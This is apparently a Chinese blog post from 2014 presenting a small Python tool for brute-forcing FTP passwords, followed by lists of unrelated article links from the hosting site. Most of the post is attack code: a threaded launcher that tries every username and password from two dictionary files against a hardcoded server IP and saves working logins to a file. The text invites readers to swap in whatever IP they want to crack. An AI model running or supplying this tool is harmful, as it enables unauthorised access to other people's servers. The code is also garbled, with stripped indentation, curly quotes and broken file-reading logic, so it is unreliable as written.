python编写暴力破解FTP密码小工具


Posted in Python onNovember 19, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 

import time 

import threading
class mythread(threading.Thread): 

def __init__(self,command): 

threading.Thread.__init__(self) 

self.command=command 

def run(self): 

kk=os.system(self.command) 

ushand=open(“user.txt”,”r”) 

pshand=open(“passwd.txt”,”r”) 

listuser=[] 

listpass=[] 

for us in open(“user.txt”,”r”): 

lineus=ushand.readline().strip(‘\n') 

listuser.append(lineus) 

for ps in open(“passwd.txt”,”r”): 

lineps=pshand.readline().strip(‘\n') 

listpass.append(lineps) 

for i in listuser: 

for j in listpass: 

command=”ftp.py %s %s” %(i,j) 

print command 

my_thread=mythread(command) 

my_thread.start() 

time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 

import socket 

import sys 

ftp=ftplib.FTP('121.54.175.204′) 

try: 

user=sys.argv[1] 

passwd=sys.argv[2] 
ftp.login(user,passwd) 

hand=open(‘aa.txt','a+') 

hand.write(user+”:”+passwd+”\n”) 

except ftplib.error_perm: 

print “passwd is world”

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
python计算文本文件行数的方法
Jul 06 Python
Python3实现Web网页图片下载
Jan 28 Python
pandas DataFrame 根据多列的值做判断,生成新的列值实例
May 18 Python
django+echart绘制曲线图的方法示例
Nov 26 Python
在Pycharm中自动添加时间日期作者等信息的方法
Jan 16 Python
python快排算法详解
Mar 04 Python
Python实现Mysql数据统计及numpy统计函数
Jul 15 Python
python标记语句块使用方法总结
Aug 05 Python
pytorch中的weight-initilzation用法
Jun 24 Python
Python使用xlrd实现读取合并单元格
Jul 09 Python
利用python+request通过接口实现人员通行记录上传功能
Jan 13 Python
浅谈python数据类型及其操作
May 25 Python
用python读写excel的方法
Nov 18 #Python
kNN算法python实现和简单数字识别的方法
Nov 18 #Python
决策树的python实现方法
Nov 18 #Python
linux 下实现python多版本安装实践
Nov 18 #Python
centos 下面安装python2.7 +pip +mysqld
Nov 18 #Python
朴素贝叶斯算法的python实现方法
Nov 18 #Python
使用django-suit为django 1.7 admin后台添加模板
Nov 18 #Python
You might like
php数组函数序列之in_array() 查找数组值是否存在
2011/10/29 PHP
PHP session会话操作技巧小结
2016/09/27 PHP
PHP实现RSA签名生成订单功能【支付宝示例】
2017/06/06 PHP
tp5(thinkPHP5框架)captcha验证码配置及验证操作示例
2019/05/28 PHP
jQuery 打造动态下滑菜单实现说明
2010/04/15 Javascript
Javascript实现的类似Google的Div拖动效果代码
2011/08/09 Javascript
Fastest way to build an HTML string(拼装html字符串的最快方法)
2011/08/20 Javascript
js实现完全自定义可带多级目录的网页鼠标右键菜单方法
2015/02/28 Javascript
jQuery中cookie插件用法实例分析
2015/12/04 Javascript
JavaScript必知必会(九)function 说起 闭包问题
2016/06/08 Javascript
利用Ionic2 + angular4实现一个地区选择组件
2017/07/27 Javascript
react-native android状态栏的实现
2018/06/15 Javascript
在小程序开发中使用npm的方法
2018/10/17 Javascript
vue分页插件的使用方法
2019/12/25 Javascript
vue 封装 Adminlte3组件的实现
2020/03/18 Javascript
Vue中关闭弹窗组件时销毁并隐藏操作
2020/09/01 Javascript
Python读取Word(.docx)正文信息的方法
2018/03/15 Python
对IPython交互模式下的退出方法详解
2019/02/16 Python
Python中包的用法及安装
2020/02/11 Python
Python常用编译器原理及特点解析
2020/03/23 Python
浅谈python 中的 type(), dtype(), astype()的区别
2020/04/09 Python
python实现AHP算法的方法实例(层次分析法)
2020/09/09 Python
简单聊聊H5的pushState与replaceState的用法
2018/04/03 HTML / CSS
html5 Canvas绘制线条 closePath()实例代码
2012/05/10 HTML / CSS
HTML5验证以及日期显示的实现详解
2013/07/05 HTML / CSS
如何使用canvas绘制可移动网格的示例代码
2020/12/14 HTML / CSS
Room Mate Hotels美国:西班牙酒店品牌
2018/04/10 全球购物
印尼在线旅游门户网站:NusaTrip
2019/11/01 全球购物
欢送退休感言
2014/02/08 职场文书
企业人事任命书
2014/06/05 职场文书
园林技术专业求职信
2014/07/28 职场文书
工作简历自我评价
2015/03/11 职场文书
教师考核鉴定意见
2015/06/05 职场文书
2015年全民创业工作总结
2015/07/23 职场文书
56句经典英文座右铭
2019/08/09 职场文书
golang实现浏览器导出excel文件功能
2022/03/25 Golang